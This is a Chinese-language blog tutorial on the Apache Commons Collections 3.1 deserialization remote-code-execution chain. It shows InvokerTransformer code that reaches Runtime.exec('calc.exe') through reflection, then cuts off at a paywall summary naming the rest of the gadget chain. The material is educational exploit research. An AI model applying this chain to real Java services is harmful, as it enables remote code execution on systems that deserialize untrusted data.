文章目录
【java安全】CommonsCollections3.1
java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。
很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞
接下来我们介绍一些重要的类
InvokerTransformer
这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数
我们首先看一看构造方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
为参数赋初值
transform()方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}
该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数
那么我们就可以通过InvokerTransformer这么执行命令:
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) throws Exception {
//Class runtimeClass=Class.forName("java.lang.Runtime");
//Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象
//借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
).transform(runtimeClass);
//借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
Object runtime=new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
).transform(m_getMethod);
//借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
Object exec=new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)

文章详细介绍了ApacheCommonsCollections库中的安全问题,特别是如何通过InvokerTransformer、ConstantTransformer和ChainedTransformer等工具类构建命令执行链,最终触发TransformedMap的checkSetValue()方法,实现反序列化远程代码执行(RCE)。通过创建特定的链式转换器并结合AnnotationInvocationHandler,可以实现JDK1.7的RCE利用。
最低0.47元/天 解锁文章
1471

被折叠的 条评论
为什么被折叠?



